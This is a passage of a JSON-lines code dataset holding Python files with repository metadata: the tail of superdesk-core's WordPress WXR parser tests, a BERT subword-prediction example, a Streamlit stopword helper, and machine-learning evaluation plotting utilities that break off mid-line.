self.assertEqual(self.articles[0][\"headline\"], \"Starafrica to dispose assets for $6 million to clear debt\")\n\n    def test_body_html(self):\n        expected = (\n            \"<p>By Tester\\nHarare, July 19 (The SDNewTester) - \"\n            \"Cash-strapped StarAfrica Corporation is set to dis\"\n            \"pose its transport company and its stake in Tongaa\"\n            \"t Hulett Botswana for $6 million to offset part of\"\n            \" the companyâs $19.7 million debt.\\nBla bla test</p>\"\n        )\n        self.assertEqual(self.articles[0][\"body_html\"], expected)\n\n    def test_body_html_non_void(self):\n        \"\"\"Check that non void elements are not self closing (which is illegal in HTML 5)\n\n        SDESK-3758\n        \"\"\"\n        expected = (\n            '<hr/><p>\\t\\t<img src=\"http://test\"/></p>\\t\\t<iframe src=\"https://test.invalid\"'\n            ' width=\"750\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfull'\n            'screen\"></iframe>'\n        )\n        self.assertEqual(self.articles[4][\"body_html\"], expected)\n\n    def test_keywords(self):\n        self.assertEqual(self.articles[0][\"keywords\"], [\"companies\"])\n\n    def test_category(self):\n        self.assertEqual(\n            self.articles[0][\"anpa_category\"],\n            [\n                {\"qcode\": \"Business\", \"name\": \"Business\"},\n                {\"qcode\": \"Companies\", \"name\": \"Companies\"},\n                {\"qcode\": \"Economy\", \"name\": \"Economy\"},\n            ],\n        )\n\n    def test_attachments(self):\n        # in self.articles[1] there is a body, so image should be in associations\n        expected = {\n            \"_id\": \"http://example.net/image.png\",\n            \"guid\": \"http://example.net/image.png\",\n            \"ingest_provider\": \"wpwxr\",\n            \"headline\": \"test2\",\n            \"alt_text\": \" \",\n            \"description_text\": \" \",\n            \"mimetype\": \"image/jpeg\",\n            \"renditions\": {\n                \"original\": {\n                    \"height\": 256,\n                    \"href\": \"http://test\",\n                    \"media\": \"590099f1cc3a2d2349a785ee\",\n                    \"mimetype\": \"image/jpeg\",\n                    \"width\": 642,\n                },\n                \"thumbnail\": {\n                    \"height\": 23,\n                    \"href\": \"http://test\",\n                    \"media\": \"590099f1cc3a2d2349a785f0\",\n                    \"mimetype\": \"image/jpeg\",\n                    \"width\": 60,\n                },\n                \"viewImage\": {\n                    \"height\": 79,\n                    \"href\": \"http://test\",\n                    \"media\": \"590099f1cc3a2d2349a785f2\",\n                    \"mimetype\": \"image/jpeg\",\n                    \"width\": 200,\n                },\n            },\n            \"type\": \"picture\",\n        }\n        self.assertEqual(self.articles[1][\"associations\"][\"featuremedia\"], expected)\n\n    def test_attachments_no_body(self):\n        # in self.articles[1] there is no body, so item should be an image\n        # cf. SDTS-29\n        expected = {\n            \"original\": {\n                \"height\": 256,\n                \"href\": \"http://test\",\n                \"media\": \"590099f1cc3a2d2349a785ee\",\n                \"mimetype\": \"image/jpeg\",\n                \"width\": 642,\n            },\n            \"thumbnail\": {\n                \"height\": 23,\n                \"href\": \"http://test\",\n                \"media\": \"590099f1cc3a2d2349a785f0\",\n                \"mimetype\": \"image/jpeg\",\n                \"width\": 60,\n            },\n            \"viewImage\": {\n                \"height\": 79,\n                \"href\": \"http://test\",\n                \"media\": \"590099f1cc3a2d2349a785f2\",\n                \"mimetype\": \"image/jpeg\",\n                \"width\": 200,\n            },\n        }\n        self.assertNotIn(\"associations\", self.articles[3])\n        self.assertEqual(self.articles[3][\"renditions\"], expected)\n        self.assertEqual(self.articles[3][\"type\"], \"picture\")\n\n    def test_clrf(self):\n        expected = (\n            \"<p>By Tester</p><p>Harare, July 19 (The SDNewTester) - Cash-strapped\"\n            \" StarAfrica Corporation is set to dispose its transport company and \"\n            \"its stake in Tongaat Hulett Botswana for $6 million to offset part o\"\n            \"f the companyâs $19.7 million debt.</p><hr><p>Bla bla test</p>\"\n        )\n        self.assertEqual(self.articles[2][\"body_html\"], expected)\n\n\nclass WPWXRThumbnailTestCase(WPWXRTestBase):\n    filename = \"wordpress_wxr_thumb.xml\"\n\n    def test_skipped(self):\n        \"\"\"Check that \"attachment\" items are skipped\"\"\"\n        # in the test file are 2 items: one \"attachment\" and one \"post\",\n        # only the \"post\" item must be returned\n        self.assertEqual(len(self.articles), 1)\n\n    def test_thumbnail(self):\n        \"\"\"Check that thumbnail is retrieved from other item and used as feature media (SDESK-3699)\"\"\"\n        expected = {\n            \"type\": \"picture\",\n            \"ingest_provider\": \"wpwxr\",\n            \"_id\": \"https://toto.invalid/attachment.jpg\",\n            \"guid\": \"https://toto.invalid/attachment.jpg\",\n            \"renditions\": {\n                \"original\": {\n                    \"height\": 256,\n                    \"href\": \"http://test\",\n                    \"media\": \"590099f1cc3a2d2349a785ee\",\n                    \"mimetype\": \"image/jpeg\",\n                    \"width\": 642,\n                },\n                \"thumbnail\": {\n                    \"height\": 23,\n                    \"href\": \"http://test\",\n                    \"media\": \"590099f1cc3a2d2349a785f0\",\n                    \"mimetype\": \"image/jpeg\",\n                    \"width\": 60,\n                },\n                \"viewImage\": {\n                    \"height\": 79,\n                    \"href\": \"http://test\",\n                    \"media\": \"590099f1cc3a2d2349a785f2\",\n                    \"mimetype\": \"image/jpeg\",\n                    \"width\": 200,\n                },\n            },\n            \"mimetype\": \"image/jpeg\",\n            \"description_text\": \"this is a description\",\n            \"alt_text\": \"test\",\n            \"headline\": \"test post\",\n        }\n\n        self.assertEqual(self.articles[0][\"associations\"][\"featuremedia\"], expected)\n\n\nclass FunkeWXRTestCase(WPWXRTestBase):\n    filename = \"wordpress_wxr_funke.xml\"\n\n    def test_body_html(self):\n        self.assertTrue(\n            self.articles[0][\"body_html\"].lstrip().startswith(\"<p><strong>Mysterium\"),\n            self.articles[0][\"body_html\"][:20],\n        )\n        self.assertNotIn(\"[contact_form]\", self.articles[0][\"body_html\"])\n", "repo_name": "superdesk/superdesk-core", "sub_path": "tests/io/feed_parsers/wordpress_wxr_test.py", "file_name": "wordpress_wxr_test.py", "file_ext": "py", "file_size_in_byte": 9881, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.timezone", "line_number": 10, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.timezone", "line_number": 13, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 74, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "superdesk.etree.etree.XMLParser", "line_number": 84, "usage_type": "call"}, {"api_name": "superdesk.etree.etree", "line_number": 84, "usage_type": "name"}, {"api_name": "superdesk.etree.etree.fromstring", "line_number": 85, "usage_type": "call"}, {"api_name": "superdesk.etree.etree", "line_number": 85, "usage_type": "name"}, {"api_name": "superdesk.io.feed_parsers.wordpress_wxr.WPWXRFeedParser", "line_number": 86, "usage_type": "call"}, {"api_name": "superdesk.io.feed_parsers.wordpress_wxr", "line_number": 86, "usage_type": "name"}, {"api_name": "unittest.mock.patch.object", "line_number": 75, "usage_type": "call"}, {"api_name": "superdesk.io.feed_parsers.wordpress_wxr", "line_number": 75, "usage_type": "argument"}, {"api_name": "unittest.mock.patch", "line_number": 75, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 75, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.timezone", "line_number": 100, "usage_type": "attribute"}]}
{"seq_id": "7006922253", "text": "\n# How to predict whole word previously tokenized as sub-words for bert-base-multilingual-cased\n\n\nimport torch\nfrom pytorch_transformers import BertTokenizer, BertModel, BertForMaskedLM\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\n\nUSE_GPU = 1\n# Device configuration\ndevice = torch.device('cuda' if (torch.cuda.is_available() and USE_GPU) else 'cpu')\n\n\n# Load pre-trained model tokenizer (vocabulary)\npretrained_model = 'bert-base-multilingual-cased'\ntokenizer = BertTokenizer.from_pretrained(pretrained_model)\n\ntext = \"[CLS] Who was Jim Henson ? [SEP] Jim Henson was a puppeteer [SEP]\"\ntokenized_text = tokenizer.tokenize(text)\n# ['[CLS]', 'Who', 'was', 'Jim', 'Hen', '##son', '?', '[SEP]', 'Jim', 'Hen', '##son', 'was', 'a', 'pu', '##ppet', '##eer', '[SEP]']\n\n# Mask a token that we will try to predict back with `BertForMaskedLM`\nmask1 = 13\nmask2 = 14\nmask3 = 15\ntokenized_text[mask1] = '[MASK]'\ntokenized_text[mask2] = '[MASK]'\ntokenized_text[mask3] = '[MASK]'\nassert tokenized_text == ['[CLS]', 'Who', 'was', 'Jim', 'Hen', '##son', '?', '[SEP]', 'Jim', 'Hen', '##son', 'was', 'a', '[MASK]', '[MASK]', '[MASK]', '[SEP]']\n\n# Convert token to vocabulary indices\nindexed_tokens = tokenizer.convert_tokens_to_ids(tokenized_text)\n# Define sentence A and B indices associated to 1st and 2nd sentences (see paper)\nsegments_ids = [0, 0, 0, 0, 0, 0, 0,0, 1, 1, 1, 1, 1, 1, 1,1,1]\n\n# Convert inputs to PyTorch tensors\ntokens_tensor = torch.tensor([indexed_tokens])\nsegments_tensors = torch.tensor([segments_ids])\n\n\n# Load pre-trained model (weights)\nmodel = BertForMaskedLM.from_pretrained(pretrained_model)\nmodel.eval()\n\n# If you have a GPU, put everything on cuda\ntokens_tensor = tokens_tensor.to(device)\nsegments_tensors = segments_tensors.to(device)\nmodel.to(device)\n\n# Predict all tokens\nwith torch.no_grad():\n    outputs = model(tokens_tensor, token_type_ids=segments_tensors)\n    predictions = outputs[0]\n\n# get predicted tokens\n\n#prediction for mask1\npredicted_index = torch.argmax(predictions[0, mask1]).item()\npredicted_token = tokenizer.convert_ids_to_tokens([predicted_index])[0]\nprint(predicted_token)\n\n#prediction for mask2\npredicted_index = torch.argmax(predictions[0, mask2]).item()\npredicted_token = tokenizer.convert_ids_to_tokens([predicted_index])[0]\nprint(predicted_token)\n\n#prediction for mask3\npredicted_index = torch.argmax(predictions[0, mask3]).item()\npredicted_token = tokenizer.convert_ids_to_tokens([predicted_index])[0]\nprint(predicted_token)\n\n\n#mm= torch.mean(predictions[0,18:21,:], dim=1)", "repo_name": "ksopyla/pytorch_neural_networks", "sub_path": "transformer/bert_subword_pred.py", "file_name": "bert_subword_pred.py", "file_ext": "py", "file_size_in_byte": 2526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pytorch_transformers.BertTokenizer.from_pretrained", "line_number": 18, "usage_type": "call"}, {"api_name": "pytorch_transformers.BertTokenizer", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 40, "usage_type": "call"}, {"api_name": "pytorch_transformers.BertForMaskedLM.from_pretrained", "line_number": 44, "usage_type": "call"}, {"api_name": "pytorch_transformers.BertForMaskedLM", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "5277564291", "text": "import streamlit as st\r\nfrom datetime import timedelta\r\nfrom typing import Optional\r\n\r\nfrom langdetect import detect_langs\r\nfrom nltk.corpus import stopwords\r\nfrom .enforce_stopwords import provide_more_stopwords\r\n\r\nimport nltk\r\nnltk.download('stopwords')\r\n\r\n\r\n@st.cache_resource(ttl=timedelta(hours=1), show_spinner=False)\r\ndef map_language(abbr: str) -> str:\r\n    LANGUAGES = {\r\n        'ar': 'arabic',\r\n        'az': 'azerbaijani',\r\n        'da': 'danish',\r\n        'nl': 'dutch',\r\n        'en': 'english',\r\n        'fi': 'finnish',\r\n        'fr': 'french',\r\n        'de': 'german',\r\n        'el': 'greek',\r\n        'hu': 'hungarian',\r\n        'id': 'indonesian',\r\n        'it': 'italian',\r\n        'kk': 'kazakh',\r\n        'ne': 'nepali',\r\n        'no': 'norwegian',\r\n        'pt': 'portuguese',\r\n        'ro': 'romanian',\r\n        'ru': 'russian',\r\n        'sl': 'slovene',\r\n        'es': 'spanish',\r\n        'sv': 'swedish',\r\n        'tg': 'tajik',\r\n        'tr': 'turkish',\r\n        'eu': 'basque',\r\n        'bn': 'bengali',\r\n        'ca': 'catalan',\r\n        'zh-cn': 'chinese',\r\n        'zh-tw': 'chinese',\r\n        'iw': 'hebrew',\r\n        'he': 'hebrew',\r\n        \"hi\": \"hindi\",\r\n        \"ms\": \"malaysian\",\r\n    }\r\n    return LANGUAGES.get(abbr, None)\r\n\r\n\r\n@st.cache_resource(ttl=timedelta(hours=1), show_spinner=False)\r\ndef set_stopwords_base_on_content_language(file_content: str) -> Optional[set]:\r\n    \"\"\"Get content language and add more stopwords to the nltk stopwords\"\"\"\r\n    get_file_language = detect_langs(file_content)\r\n\r\n    language_abbr = \"\"\r\n    for language_data in get_file_language:\r\n        language_abbr = str(language_data).split(\":\")[0]\r\n\r\n    language = map_language(language_abbr)\r\n    stop_words = set(stopwords.words(language))\r\n\r\n    # Re-enforce stop words\r\n    add_stopwords = provide_more_stopwords(language)\r\n    stop_words = stop_words.union(add_stopwords)\r\n    return stop_words\r\n", "repo_name": "JamiuShaibu/word-cloud-web-app", "sub_path": "scripts/project_modules/stopwords_getter.py", "file_name": "stopwords_getter.py", "file_ext": "py", "file_size_in_byte": 1924, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nltk.download", "line_number": 10, "usage_type": "call"}, {"api_name": "streamlit.cache_resource", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 13, "usage_type": "call"}, {"api_name": "langdetect.detect_langs", "line_number": 55, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 62, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 62, "usage_type": "name"}, {"api_name": "enforce_stopwords.provide_more_stopwords", "line_number": 65, "usage_type": "call"}, {"api_name": "streamlit.cache_resource", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 52, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "24921100984", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 20 10:57:42 2018\n\n@author: phongdk\n\"\"\"\nimport os\nimport logging\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report, precision_recall_curve, \\\n    average_precision_score, recall_score, precision_score, f1_score\nfrom sklearn.manifold import TSNE\nimport tensorflow as tf\nfrom tensorflow.keras.utils import to_categorical\n\n# import matplotlib\n# matplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport seaborn as sns\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nLOGGER = logging.getLogger(__name__)\n\ndef out_statistics(Y_test, Y_pred, path_figure='.', filename=\"temp\", sample_weight=None, sys_show=False):\n    LOGGER.info(accuracy_score(Y_test, Y_pred))\n    target_names = [str(i) for i in range(len(np.unique(Y_test)))]\n    '''\n    don't know why uncomment those snippet of below code make model predict different labels even using the same model,\n    perhaps matplotlib make something changes in LGBM library :(((\n    '''\n    plt.close()\n    cm = confusion_matrix(Y_test, Y_pred)\n    df_cm = pd.DataFrame(cm, index=target_names, columns=target_names)\n    '''plot confusion matrix'''\n    heatmap = sns.heatmap(df_cm, annot=True, fmt=\"d\")\n    plt.ylabel('True label')\n    plt.xlabel('Predicted label')\n    heatmap.yaxis.set_ticklabels(heatmap.yaxis.get_ticklabels(), rotation=0, ha='right')\n    heatmap.xaxis.set_ticklabels(heatmap.xaxis.get_ticklabels(), rotation=0, ha='right')\n    plt.title(\"Confusion matrix\")\n    plt.savefig(os.path.join(path_figure, filename))\n    if sys_show:\n        plt.show()\n    LOGGER.info(classification_report(Y_test, Y_pred, target_names=target_names, sample_weight=sample_weight))\n\n\ndef visualize_data(x_test, y_test, filename=\"temp\"):\n    import colorsys\n    from sklearn.decomposition.pca import PCA\n    pca_50 = PCA(n_components=50)\n    x_test = pca_50.fit_transform(x_test)\n    # data2 = pd.concat([x_test,y_test], axis =1)\n    tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000)\n    tsne_results = tsne.fit_transform(x_test, y_test)\n\n    N = len(np.unique(y_test))\n    LOGGER.info('unique {}'.format(N))\n    HSV_tuples = [(x * 1.0 / N, 0.5, 0.5) for x in range(N)]\n    RGB_tuples = map(lambda x: colorsys.hsv_to_rgb(*x), HSV_tuples)\n    plt.scatter(tsne_results[:, 0], tsne_results[:, 1], c=RGB_tuples)\n    plt.savefig(os.path.join(path_figure, filename))\n    plt.show()\n\n\ndef out_Precision_Recall_Curve(Y_test, Y_score, filename=\"temp\"):\n    #    out_Precision_Recall_Curve(Y_gender_test[:,0], Y_gender_prob[:,0])\n    precision, recall, _ = precision_recall_curve(Y_test, Y_score)\n    average_precision = average_precision_score(Y_test, Y_score)\n    LOGGER.info('Average precision-recall score: {0:0.2f}'.format(average_precision))\n    plt.step(recall, precision, color='b', alpha=0.2, where='post')\n    plt.fill_between(recall, precision, step='post', alpha=0.2, color='b')\n\n    plt.xlabel('Recall')\n    plt.ylabel('Precision')\n    plt.ylim([0.0, 1.05])\n    plt.xlim([0.0, 1.0])\n    plt.show()\n\n\ndef out_Extension_Precision_Recall_Curve(Y_test, Y_score, sample_weight=None, filename=\"temp\"):\n    n_classes = len(np.unique(Y_test))\n    Y_test = to_categorical(Y_test)\n    precision = dict()\n    recall = dict()\n    average_precision = dict()\n    lines = []\n    labels = []\n    for i in range(n_classes):\n        precision[i], recall[i], threshold = precision_recall_curve(Y_test[:, i], Y_score[:, i],\n                                                                    sample_weight=sample_weight)\n        average_precision[i] = average_precision_score(Y_test[:, i], Y_score[:, i], sample_weight=sample_weight)\n    LOGGER.info('threshold {}'.format(threshold))\n\n    for i in range(n_classes):\n        l, = plt.plot(recall[i], precision[i], lw=2)\n        lines.append(l)\n        labels.append('Precision Recall for class {0} (area = {1:0.2f})'\n                      ''.format(i, average_precision[i]))\n\n    fig = plt.gcf()\n    fig.subplots_adjust(bottom=0.25)\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.xlabel('Recall')\n    plt.ylabel('Precision')\n    plt.title('Extension of Precision-Recall curve to multi-class')\n    plt.legend(lines, labels, loc='upper right', prop=dict(size=14))\n    #    plt.legend(lines, labels, loc=(0, -.38), prop=dict(size=14))\n    #    plt.savefig(os.path.join(path_figure,filename))\n    plt.show()\n\n\ndef visualize_distribution(df, title=\"\", filename=''):\n    ax = sns.countplot(data=df, x=\"gender\", hue=\"age_group\")\n    #   plt.title(\"Gender distribution\")\n    plt.yticks(range(0, 40000, 5000))\n    plt.xticks(range(2), (\"Male\", \"Female\"))\n    plt.title(title)\n    #    plt.xticks(range(6), (\"0-18\",\"19-24\",\"25-34\", \"35-44\", \"45-54\", \"55+\"))\n    plt.legend([\"0-17\", \"18-24\", \"25-34\", \"35-44\", \"45-54\", \"55+\"])\n    plt.savefig(os.path.join(path_figure, filename))\n    plt.show()\n\n\ndef plot_mean_and_CI(threshold, mean, lb, ub, color_mean=None, color_shading=None):\n    # plot the shaded range of the confidence intervals\n    plt.fill_between(threshold, ub, lb, alpha=.5)  # , color=color_shading)\n    # plot the mean on top\n    plt.plot(threshold, mean)  # , color_mean)\n\n\ndef plot_business_values(threshold, precision, recall, volume, business_values, specific_classes, MIN_THRESHOLD_CLASS,\n                         path_figure='.', filename='temp', sys_show=False, show_score=False, ylim_maxBV=1.5):\n    plt.close()\n    total_BV = np.sum(business_values, axis=1)\n    max_BV_pos = np.argmax(total_BV)\n    max_BV = total_BV[max_BV_pos]\n    optimal_threshold = threshold[max_BV_pos]\n\n    labels = {'Precision': [], 'Recall': [], '1-CDF': [], 'Precision-Recall': [], 'BV': []}\n    for c in specific_classes:  # (nclass):\n        for key in labels.keys():\n            if key != 'BV':\n                labels[key].append('{} for class {}'.format(key, c))\n    #                else:\n    #                    labels['BV'].append('Class {} -- T: {}, BV: {}'.format(c,\n    #                          threshold[np.argmax(business_values[:,c])], round(np.max(business_values[:,c]),2)))\n\n    nrow, ncol = 3, 2\n    gs = gridspec.GridSpec(nrow, ncol)\n\n    '''plot business value '''\n    plt.subplot(gs[2, :], xlabel='Threshold', ylabel='Additional_Money_O',\n                title='Business Value for each class and Total Business Value')\n    for c in specific_classes:  # range(nclass):\n        plt.plot(threshold, business_values[:, c], lw=2)\n    plt.plot(threshold, total_BV, lw=2, color='r')\n    plot_marker_point(optimal_threshold, max_BV)\n\n    pos_maxBV_each_class = {}  # position with max business value for each class\n    LOGGER.info('Min threshold for each class : '.format(MIN_THRESHOLD_CLASS))\n    for c in specific_classes:  # range(nclass):\n        segment_threshold = max(MIN_THRESHOLD_CLASS, threshold[np.argmax(business_values[:, c])])\n        pos = np.argmin(abs(segment_threshold - threshold))\n        # pos = np.argmax(business_values[:,c])\n        plot_marker_point(threshold[pos], round(business_values[pos, c], 2))  # plot best threshold for each class\n        pos_maxBV_each_class[c] = pos\n        labels['BV'].append('Class {} -- T: {}, BV: {}'.format(c,\n                                                               threshold[pos],\n                                                               round(np.max(business_values[pos, c]), 2)))\n    labels['BV'].append('Total -- T: {}, BV: {}'.format(optimal_threshold, round(max_BV, 2)))\n    plt.xlim([0.0, 1.0])\n    plt.ylim([np.min(total_BV), ylim_maxBV])\n    plt.legend(labels['BV'], loc='upper right', prop=dict(size=12))\n\n    '''plot TPRV'''\n    xlabels = ['recall'] + ['threshold'] * 3\n    ylabels = ['precision'] * 2 + ['volume'] + ['recall']\n    xdata = [recall, threshold, threshold, threshold]\n    ydata = [precision, precision, volume, recall]\n    legend = {}  # dict to map each subplot to its legend\n    for xlabel, ylabel, key in zip(xlabels, ylabels, ['Precision-Recall', 'Precision', '1-CDF',\n                                                      'Recall']):  # cannot use labels.keys() since it releases data in different order\n        legend[xlabel + ylabel] = labels[key]\n    for i in range(nrow - 1):\n        for j in range(ncol):\n            xlabel = xlabels[i * 2 + j]\n            ylabel = ylabels[i * 2 + j]\n            try:\n                plt.subplot(gs[i, j], sharex=ax1, sharey=ax1, xlabel=xlabel, ylabel=ylabel)\n            except:\n                ax1 = plt.subplot(gs[i, j], xlabel=xlabel, ylabel=ylabel)\n            lx, ly = [], []\n            for c in specific_classes:  # range(nclass):\n                pos = pos_maxBV_each_class[c]\n                try:\n                    l = plt.plot(xdata[i * 2 + j][:, c], ydata[i * 2 + j][:, c],\n                                 lw=2)  # xdata=recall[:,c]  for each class c\n                    x, y = xdata[i * 2 + j][pos, c], ydata[i * 2 + j][pos, c]\n                except:\n                    l = plt.plot(xdata[i * 2 + j], ydata[i * 2 + j][:, c], lw=2)  # xdata=threshold\n                    x, y = xdata[i * 2 + j][pos], ydata[i * 2 + j][pos, c]\n                # LOGGER.info(l.get_color())\n                lx.append(x)\n                ly.append(y)\n\n            #                    if (xlabel == 'threshold'):\n            #                        if (ylabel == 'precision'):\n            #                            #interval = precision_interval[:,c,1] - precision[:,c]\n            #                            plot_mean_and_CI(precision[:,c], precision_interval[:,c,0], precision_interval[:,c,1],\n            #                                             color_mean=l[0].get_color(), color_shading=l[0].get_color())\n            #                        elif (ylabel == 'recall'):\n            #                            plot_mean_and_CI(precision[:,c], recall_interval[:,c,0], recall_interval[:,c,1],\n            #                                             color_mean=l[0].get_color(), color_shading=l[0].get_color())\n            # LOGGER.info('color', l[0].get_color())\n            for (x, y) in zip(lx, ly):\n                plot_marker_point(x, y, show_score=show_score)\n            plt.xlim([0.0, 1.0])\n            plt.ylim([0.0, 1.05])\n            plt.legend(legend[xlabel + ylabel], loc='upper right', prop=dict(size=12))\n\n    LOGGER.info('Save figure to : {}'.format(os.path.join(path_figure, filename)))\n    #        ##plt.savefig(os.path.join(path_figure, filename), bbox_inches='tight')\n    fig = plt.gcf()\n    fig.set_size_inches((18, 12), forward=False)\n    fig.savefig(os.path.join(path_figure, filename))\n\n    if sys_show:\n        manager = plt.get_current_fig_manager()  # https://stackoverflow.com/questions/32428193/saving-matplotlib-graphs-to-image-as-full-screen/32428266\n        manager.window.showMaximized()  ## QT backend\n        # manager.resize(*manager.window.maxsize())  #\n        plt.show()\n    return optimal_threshold, max_BV, segment_threshold\n\n\ndef plot_marker_point(x, y, color='#2B385A', show_score=False):\n    plt.plot([x], [y], marker='X', color=color)\n    plt.plot([x, x], [0, y], '--', color=color)\n    plt.plot([0, x], [y, y], '--', color=color)\n    if show_score:\n        plt.text(x - 0.02, 0.07, str(round(x, 2)), fontsize=10, rotation=90)\n        plt.text(0.02, y + 0.02, str(round(y, 2)), fontsize=10)\n    # plt.xticks(rotation=45)\n\n\n# def show_TPRV(Y_test, Y_prob, nclass, distribution, sample_weight = None, known_type = 'threshold',\n#              known_value=0.4, known_class=0,  filename='temp'):\n#     '''\n#     Given a value of one metric (precsion, recall or volumne) or threshold, find other metrics\n#     '''\n#     threshold, precision, recall, volume, _, _ = compute_precision_recall_volume_BV(Y_test, Y_prob, nclass,\n#                                                                                                distribution, sample_weight)\n\ndef plot_TPRV(threshold, precision, recall, volume, nclass, known_type='threshold', known_value=0.4, known_class=0,\n              filename='temp'):\n    '''get all other metrics'''\n    # metrics = [threshold, avg_precision, avg_recall, avg_volume]\n    metrics = [threshold, precision[:, known_class], recall[:, known_class], volume[:, known_class]]\n    type_metric = {'threshold': 0, 'precision': 1, 'recall': 2, 'volume': 3}\n    position = np.argmin(abs(metrics[type_metric[known_type]] - known_value))\n    LOGGER.info('--------------- Known type: {},  with value is: {} \\nOther metrics are:'.format(known_type, known_value))\n\n    for key, value in type_metric.items():\n        if key != known_type:\n            LOGGER.info(\"{} , {} \".format(key, metrics[value][position]))\n\n    labels = {'Precision': [], 'Recall': [], '1-CDF': [], 'Precision-Recall': []}\n    for c in range(nclass):\n        for key in labels.keys():\n            labels[key].append('{} for class {}'.format(key, c))\n\n    nrow, ncol = 2, 2\n    gs = gridspec.GridSpec(nrow, ncol)\n    xlabels = ['recall'] + ['threshold'] * 3\n    ylabels = ['precision'] * 2 + ['volume'] + ['recall']\n    xdata = [recall, threshold, threshold, threshold]\n    ydata = [precision, precision, volume, recall]\n\n    legend = {}  # dict to map each subplot to its legend\n    for xlabel, ylabel, key in zip(xlabels, ylabels, ['Precision-Recall', 'Precision', '1-CDF',\n                                                      'Recall']):  # cannot use labels.keys() since it releases data in different order\n        legend[xlabel + ylabel] = labels[key]\n    for i in range(nrow):\n        for j in range(ncol):\n            xlabel = xlabels[i * 2 + j]\n            ylabel = ylabels[i * 2 + j]\n            try:\n                plt.subplot(gs[i, j], sharex=ax1, sharey=ax1, xlabel=xlabel, ylabel=ylabel)\n            except:\n                ax1 = plt.subplot(gs[i, j], xlabel=xlabel, ylabel=ylabel)\n            for c in range(nclass):\n                try:\n                    plt.plot(xdata[i * 2 + j][:, c], ydata[i * 2 + j][:, c],\n                             lw=2)  # xdata=recall[:,c]  for each class c\n                except:\n                    plt.plot(xdata[i * 2 + j], ydata[i * 2 + j][:, c], lw=2)  # xdata=threshold\n            x, y = metrics[type_metric[xlabel]][position], metrics[type_metric[ylabel]][position]\n            plot_marker_point(x, y)\n\n            plt.xlim([0.0, 1.0])\n            plt.ylim([0.0, 1.05])\n            plt.legend(legend[xlabel + ylabel], loc='upper right', prop=dict(size=12))\n    plt.show()\n\n\ndef show_expected_value(Y_test, Y_prob, nclass, distribution, sample_weight=None, filename='temp', sys_show=False):\n    threshold, precision, recall, _, _, accuracy = compute_precision_recall_volume_BV(Y_test, Y_prob, nclass,\n                                                                                      distribution, sample_weight)\n    precision_interval = compute_metrics_interval(metric=precision, nclass=nclass, n_samples=len(Y_test))\n    recall_interval = compute_metrics_interval(metric=recall, nclass=nclass, n_samples=len(Y_test))\n    #    LOGGER.info('shape of precision_interval', precision_interval.shape, precision_interval[:,0].shape)\n    #    #interval = np.mean(precision_interval[:,0,0] -, axis =1)\n    #    for (u,v) in zip(precision[:,0], precision_interval[:,0,1]):\n    #        LOGGER.info(u,v)\n    plt.figure()\n    for c in range(nclass):\n        # plt.subplot('21'+str(c+1))\n        # plot_mean_and_CI(threshold,  precision[:,c], precision_interval[:,c,0], precision_interval[:,c,1])#,\n        plot_mean_and_CI(threshold, recall[:, c], recall_interval[:, c, 0], recall_interval[:, c, 1])\n    #        # Create blue bars\n    ##        plt.bar(threshold, precision[:,c], color = 'blue', edgecolor = 'black',\n    ##                yerr=interval, capsize=None, label='poacee')\n    #\n    #        break\n    plt.xlabel('threshold', fontsize=14)\n    plt.ylabel('recall', fontsize=14)\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.legend(['Recall for class 0', 'Recall for class 1'], loc='upper right', prop=dict(size=14))\n    plt.title('Recall with 95% confidence interval')\n    plt.show()\n\n\ndef plot_size_of_bins(Y_test, Y_prob, nclass, distribution, sample_weight=None, 